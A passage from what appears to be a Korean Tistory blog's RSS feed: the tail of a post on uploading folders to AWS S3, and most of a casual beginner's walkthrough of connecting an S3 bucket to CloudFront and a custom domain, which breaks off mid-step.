this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;789&quot; height=&quot;63&quot; data-origin-width=&quot;789&quot; data-origin-height=&quot;63&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그리고 버킷에서도 정상적으로 업로드 된것을 확인할 수 있습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1353&quot; data-origin-height=&quot;533&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/5QDwl/btrQa4RIVyF/NtBL0aCYgeAHkwAZfkkGGk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/5QDwl/btrQa4RIVyF/NtBL0aCYgeAHkwAZfkkGGk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/5QDwl/btrQa4RIVyF/NtBL0aCYgeAHkwAZfkkGGk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F5QDwl%2FbtrQa4RIVyF%2FNtBL0aCYgeAHkwAZfkkGGk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1353&quot; height=&quot;533&quot; data-origin-width=&quot;1353&quot; data-origin-height=&quot;533&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;원래는 파일의 상세페이지 들어가서 속성에 객체 개요 에서 객체 URL 들어가서 html 파일이 잘 열리는거까지 포스팅 하려했는데 기존에 만들어놨던 버킷이라 정책을 또 수정해야되서 ㅎㅎ;;&lt;br /&gt;우선은 여기까지만 포스팅 진행하겠습니다 !&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;아 그리고 cloudfront 랑도 엮여있다면, 저처럼 업로드 해놓고 왜 바로바로 페이지에 적용이 안돼&lt;br /&gt;뭐야 이거 하시는분 계실수도 있을까봐..&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;cloudfront 해당 상세페이지에서 무효화 처리를 해줘야합니다..ㅠ&lt;br /&gt;그것도 모르고 왜 js 안바뀌지 하면서 혼자 스트레스 받고있었네요&lt;/p&gt;</description>
      <category>IT/AWS</category>
      <category>aws cli 설정</category>
      <category>AWS S3 업로드</category>
      <category>s3 파일 업로드</category>
      <category>s3 폴더업로드</category>
      <category>윈도우 aws cli</category>
      <author>월공</author>
      <guid isPermaLink="true">https://bug41.tistory.com/186</guid>
      <comments>https://bug41.tistory.com/entry/AWS-S3-%EC%97%90-%ED%8F%B4%EB%8D%94-%EC%97%85%EB%A1%9C%EB%93%9C%ED%95%98%EA%B8%B0#entry186comment</comments>
      <pubDate>Tue, 1 Nov 2022 21:12:41 +0900</pubDate>
    </item>
    <item>
      <title>[AWS] S3 -&amp;gt; CloudFront 극대노 연결 후기 #Route53</title>
      <link>https://bug41.tistory.com/entry/AWS-S3-CloudFront-%EA%B7%B9%EB%8C%80%EB%85%B8-%EC%97%B0%EA%B2%B0-%ED%9B%84%EA%B8%B0</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;cafe24 에서 서버 빌려서 작업하거나, 회사 서버에서만 끄적거렸던 나에게 험난한 경험이 다가오게된다.&lt;br /&gt;바로 AWS ...&lt;br /&gt;&lt;br /&gt;극대노 연결 후기를 작성한다.&lt;br /&gt;들어가기전에 앞서 아래는 나같은 게초보가 이해할수 있게끔 내가 이번에 사용했던 AWS 서비스 별 한줄요약이다.&lt;/p&gt;
&lt;pre id=&quot;code_1666960384943&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;S3 = 구글 드라이브랑 비슷함 , 파일보관 용도, 다만 특이하게 내가 원하는 도메인으로 연결해서 보는거 가능

LightSail = cafe24 서버 빌리는거랑 비슷

Route53 - 도메인 구매 및 연결하는곳

CloudFront - CDN 방식으로 assets 들 저장해서 더 빨리 불러올수 있게함&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;난 처음에 너무 헷갈렸다.&lt;br /&gt;LightSail 이란놈에게서 서버가 돌아가고있는데 , S3 에서도 접속이 되네 ?&lt;br /&gt;S3 도 서버 역할 하는건가 ? 여기다가 자바 깔고 ,PHP 깔수있는건가 ? 푸티 접속해서 systemctl 뭐시기 치는건가?&lt;br /&gt;싶었는데 그게 아니고 S3 는 말그대로 저장소 역할 하는놈이다.&amp;nbsp;&lt;br /&gt;친한 개발자 형에게 여쭤보니 보통 이미지 저장소로 많이 쓰인다고 하더라.&lt;br /&gt;&lt;br /&gt;여튼 내가 하고자 했던것은&lt;br /&gt;&lt;br /&gt;S3 에 올라가있는 html 을 도메인 연결해서 열고싶었다.&lt;br /&gt;aws 제대로 알지도 못해서 끄적이다가 Access Denied 만 엄청 본듯..&lt;br /&gt;열받은김에 까먹으면 더 열받을까봐 정리 들어간다..&lt;br /&gt;&lt;br /&gt;아 도메인은 이미 보유하고있고, SSL 인증서도 기존에 발급 받아있다는 가정하에 진행한다&lt;br /&gt;그리고 창 3개 틀어놓고 하는게 편하다&lt;br /&gt;하나는 S3, 하나는 CloudFront, 하나는 Route53&lt;br /&gt;&lt;br /&gt;처음에 아래 이미지를 보고 이해를 못했는데 이제서야 이해가 된다.&lt;br /&gt;딱 이런 구조가 된다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;thumbnail.png&quot; data-origin-width=&quot;1179&quot; data-origin-height=&quot;617&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ba5KX8/btrPRBiedCl/jh2GfSeoYEQy0KSANzy8x0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ba5KX8/btrPRBiedCl/jh2GfSeoYEQy0KSANzy8x0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ba5KX8/btrPRBiedCl/jh2GfSeoYEQy0KSANzy8x0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fba5KX8%2FbtrPRBiedCl%2Fjh2GfSeoYEQy0KSANzy8x0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1179&quot; height=&quot;617&quot; data-filename=&quot;thumbnail.png&quot; data-origin-width=&quot;1179&quot; data-origin-height=&quot;617&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;S3&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;얘는 &quot;버킷&quot; 이라는 개념이 존재하다 약간 도커로 치면 컨테이너 개념 비슷&lt;br /&gt;말그대로 양동이, 그냥 윈도우 탐색기로 치면 버킷 하나에 폴더 하나라고 보면 편하다&lt;br /&gt;보통 example.com 이런식으로 버킷 이름을 만듬&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;900&quot; data-origin-height=&quot;851&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b0PJbN/btrPOTkI9gr/lG3UG9wBGy6ZI695rqOseK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b0PJbN/btrPOTkI9gr/lG3UG9wBGy6ZI695rqOseK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b0PJbN/btrPOTkI9gr/lG3UG9wBGy6ZI695rqOseK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb0PJbN%2FbtrPOTkI9gr%2FlG3UG9wBGy6ZI695rqOseK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;900&quot; height=&quot;851&quot; data-origin-width=&quot;900&quot; data-origin-height=&quot;851&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;버킷 이름 당연히 중요하고 , 리전은 그냥 그대로 두면 됨&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;891&quot; data-origin-height=&quot;897&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bVcVLM/btrPQylJ8xL/uajtjvpuJ7MkooCVUImkS1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bVcVLM/btrPQylJ8xL/uajtjvpuJ7MkooCVUImkS1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bVcVLM/btrPQylJ8xL/uajtjvpuJ7MkooCVUImkS1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbVcVLM%2FbtrPQylJ8xL%2FuajtjvpuJ7MkooCVUImkS1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;891&quot; height=&quot;897&quot; data-origin-width=&quot;891&quot; data-origin-height=&quot;897&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 버킷의 퍼블릭 액세스 차단 설정, 저거 기본으로 &quot;모든 퍼블릭 액세스 차단&quot; 되어있는데 이거 풀어줘야된다.&lt;br /&gt;안풀어주면 말그대로 다 차단해서 접근을 못함&lt;br /&gt;차단 풀어주고 밑에 퍼블릭 상태 되는데 찐으로 괜찮냐? 묻는거 체크 해주면됨&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;버킷 만드는건 별거없다&lt;br /&gt;1. 버킷 이름 짓고,&lt;br /&gt;2. 퍼블릭 접근 갠춘 체크&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아래 처럼 버킷이 하나 생길꺼다, 난 삽질을 하도 많이해서 버킷 3개나 있음 ㅎㅎ&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1166&quot; data-origin-height=&quot;481&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bgKrF9/btrPQIocCtX/x4ASvkL6UzJMrv3FJxscCK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bgKrF9/btrPQIocCtX/x4ASvkL6UzJMrv3FJxscCK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bgKrF9/btrPQIocCtX/x4ASvkL6UzJMrv3FJxscCK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbgKrF9%2FbtrPQIocCtX%2Fx4ASvkL6UzJMrv3FJxscCK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1166&quot; height=&quot;481&quot; data-origin-width=&quot;1166&quot; data-origin-height=&quot;481&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;자 이제 만들었으니까 이름 클릭해서 들어가갖고 html 파일 하나 아무거나 올려보자&lt;br /&gt;들어가면 &quot;객체&quot; 쪽에&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;108&quot; data-origin-height=&quot;35&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bN6kz5/btrPPwWVxAh/I0ZhnI2wMj6uTzGs8OGCMk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bN6kz5/btrPPwWVxAh/I0ZhnI2wMj6uTzGs8OGCMk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bN6kz5/btrPPwWVxAh/I0ZhnI2wMj6uTzGs8OGCMk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbN6kz5%2FbtrPPwWVxAh%2FI0ZhnI2wMj6uTzGs8OGCMk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;108&quot; height=&quot;35&quot; data-origin-width=&quot;108&quot; data-origin-height=&quot;35&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;버튼 겁나 잘 보이게 있으니 누구나 쉽게 올릴수있다.&lt;br /&gt;아래 스크린샷 객체(8) 은 무시해도된다.&lt;br /&gt;다른 짜잘한 파일이 있어서 부끄러우니까 일부러 index.html 만 보여주려고 검색해서 캡쳐함&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1023&quot; data-origin-height=&quot;404&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/GvusB/btrPQJglQt1/BFKCnIZgf2CX5CipyHk6w0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/GvusB/btrPQJglQt1/BFKCnIZgf2CX5CipyHk6w0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/GvusB/btrPQJglQt1/BFKCnIZgf2CX5CipyHk6w0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FGvusB%2FbtrPQJglQt1%2FBFKCnIZgf2CX5CipyHk6w0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1023&quot; height=&quot;404&quot; data-origin-width=&quot;1023&quot; data-origin-height=&quot;404&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;여튼 여기서 index.html 을 들어가게되면 아래와 같은 화면이 나오는데&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1545&quot; data-origin-height=&quot;696&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/WLdal/btrPQMcX0LN/VgqlXpPOkMyoJaXSGhEKi1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/WLdal/btrPQMcX0LN/VgqlXpPOkMyoJaXSGhEKi1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/WLdal/btrPQMcX0LN/VgqlXpPOkMyoJaXSGhEKi1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FWLdal%2FbtrPQMcX0LN%2FVgqlXpPOkMyoJaXSGhEKi1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1545&quot; height=&quot;696&quot; data-origin-width=&quot;1545&quot; data-origin-height=&quot;696&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;저기서 객체 URL 클릭했을때 index.html 잘 열리는지 부터 확인하자&lt;br /&gt;만약에 잘 안열리면 버킷 만들때 퍼블릭 뭐시기 정상적으로 안열려서 그렇다&lt;br /&gt;&lt;br /&gt;정상적으로 잘 열었는데 안열리는 경우엔 정책을 수정해줘야되는데 그건 밑에서 한번에 추가하면되니까 우선 넘어가자&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;CloudFront&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;배포 -&amp;gt; 배포 생성&lt;br /&gt;&lt;br /&gt;1. 원본 도메인 선택&lt;br /&gt;버킷을 정상적으로 만들었다면 원본 도메인에 내가 방금 만든 버킷이 보인다 그거 클릭해서 넣어주자&lt;br /&gt;&lt;br /&gt;Select box 가 밑에 가려서 캡쳐본엔 보이지 않는다만&lt;br /&gt;&lt;br /&gt;2. 원본 경로 - 선택 사항&lt;br /&gt;이 있는데, 이건 버킷에 index.html 이 그냥 해당 폴더의 최상위 / 에 위치해있으므로 그냥 아무것도 안적어도된다&lt;br /&gt;만약에 m 이라는 폴더에 있으면 /m 이라고 적어주면된다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;840&quot; data-origin-height=&quot;761&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ca4RiI/btrPRAJZdxV/3aqZt3hMJeyNw0zlj4NbZk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ca4RiI/btrPRAJZdxV/3aqZt3hMJeyNw0zlj4NbZk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ca4RiI/btrPRAJZdxV/3aqZt3hMJeyNw0zlj4NbZk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fca4RiI%2FbtrPRAJZdxV%2F3aqZt3hMJeyNw0zlj4NbZk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;840&quot; height=&quot;761&quot; data-origin-width=&quot;840&quot; data-origin-height=&quot;761&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;3. 이름&lt;br /&gt;1번에서 원본 도메인 선택을 했다면 여기에 이름이 자동으로 채워지면서&amp;nbsp;&lt;br /&gt;&lt;u&gt;&lt;b&gt;S3 버킷 액세스&lt;/b&gt;&lt;/u&gt; 라고 보일거다 이 부분이 핵심&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&quot;원본 액세스 제어 설정(권장)&quot; 클릭 -&amp;gt; 제어 설정 생성 클릭 누르면&lt;br /&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;835&quot; data-origin-height=&quot;552&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/VzTi6/btrPQIaGFmk/Lnd0hXUSkMKBp9ibkRn3Tk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/VzTi6/btrPQIaGFmk/Lnd0hXUSkMKBp9ibkRn3Tk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/VzTi6/btrPQIaGFmk/Lnd0hXUSkMKBp9ibkRn3Tk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FVzTi6%2FbtrPQIaGFmk%2FLnd0hXUSkMKBp9ibkRn3Tk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;835&quot; height=&quot;552&quot; data-origin-width=&quot;835&quot; data-origin-height=&quot;552&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;601&quot; data-origin-height=&quot;515&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cajpO5/btrPO7XotPJ/Z4TjkM4KuhyLHBvMXTC5R0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cajpO5/btrPO7XotPJ/Z4TjkM4KuhyLHBvMXTC5R0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cajpO5/btrPO7XotPJ/Z4TjkM4KuhyLHBvMXTC5R0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcajpO5%2FbtrPO7XotPJ%2FZ4TjkM4KuhyLHBvMXTC5R0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;601&quot; height=&quot;515&quot; data-origin-width=&quot;601&quot; data-origin-height=&quot;515&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;이름 기본으로 들어가있는데 굳이 수정 안해도된다. 다른거 건드리지말고 그대로 생성 클릭&lt;br /&gt;&lt;br /&gt;&lt;b&gt;기본 캐시 동작은 기본값 그대로 놔둬도된다.&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;함수 연결 - 선택 사항 도 기본값 놔둬도 됨&lt;br /&gt;&lt;br /&gt;&lt;b&gt;맨 마지막 &quot;설정&quot; 부분에서 대체 도메인 입력&lt;/b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;842&quot; data-origin-height=&quot;535&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/buBm4O/btrPPi5AdmO/2JGJ0CsfV04fzxujzDsynk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/buBm4O/btrPPi5AdmO/2JGJ0CsfV04fzxujzDsynk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/buBm4O/btrPPi5AdmO/2JGJ0CsfV04fzxujzDsynk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbuBm4O%2FbtrPPi5AdmO%2F2JGJ0CsfV04fzxujzDsynk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;842&quot; height=&quot;535&quot; data-origin-width=&quot;842&quot; data-origin-height=&quot;535&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그리고 대체도메인 입력할거면 사용자 정의 SSL 인증서 선택하라고한다.&lt;br /&gt;그러고 난후에 다른건 다 기본값으로 놔두되 , 연결할 루트 객체에 &lt;b&gt;index.html&lt;/b&gt; 이라고 써주자&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;843&quot; data-origin-height=&quot;862&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bJMfQB/btrPQNQuHUB/C5pT7vZYanE8hopSPOlD11/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bJMfQB/btrPQNQuHUB/C5pT7vZYanE8hopSPOlD11/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bJMfQB/btrPQNQuHUB/C5pT7vZYanE8hopSPOlD11/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbJMfQB%2FbtrPQNQuHUB%2FC5pT7vZYanE8hopSPOlD11%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;843&quot; height=&quot;862&quot; data-origin-width=&quot;843&quot; data-origin-height=&quot;862&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이렇게 하면 배포 생성 완료되고 목록에 보면&lt;br /&gt;내가 방금 만든 배포본이 나와있다, 내가 방금 입력한 대체도메인도 이쁘게 잘 들어가있으면된거다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1601&quot; data-origin-height=&quot;290&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/XMgu7/btrPPVPohd1/hGlAJlAMRU0bPaVe0CGGJ1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/XMgu7/btrPPVPohd1/hGlAJlAMRU0bPaVe0CGGJ1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/XMgu7/btrPPVPohd1/hGlAJlAMRU0bPaVe0CGGJ1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FXMgu7%2FbtrPPVPohd1%2FhGlAJlAMRU0bPaVe0CGGJ1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1601&quot; height=&quot;290&quot; data-origin-width=&quot;1601&quot; data-origin-height=&quot;290&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;여기서 이제 &quot;도메인 이름&quot; 을 보면 뭔가 변태같이 암호화 된것마냥 ljkfdsaasdfas134.cloudfront.net 이라고 되어있는데&lt;br /&gt;거길 한번 들어가보자 정상적으로 접속이 안되는걸 확인할 수 있다.&lt;br /&gt;사이트에 연결을 할수 없다거나 Access Denied 가 뜰거다 ( 이부분은 정확히 체크를 안해서 다시 확인 필요)&lt;br /&gt;여튼 안될건데 정책을 추가해줘야한다.&lt;br /&gt;&lt;br /&gt;내가 방금 만든 배포본 상세 ID 클릭해서 상세페이지로 진입하고 &quot;원본&quot; 클릭&lt;/p&gt;
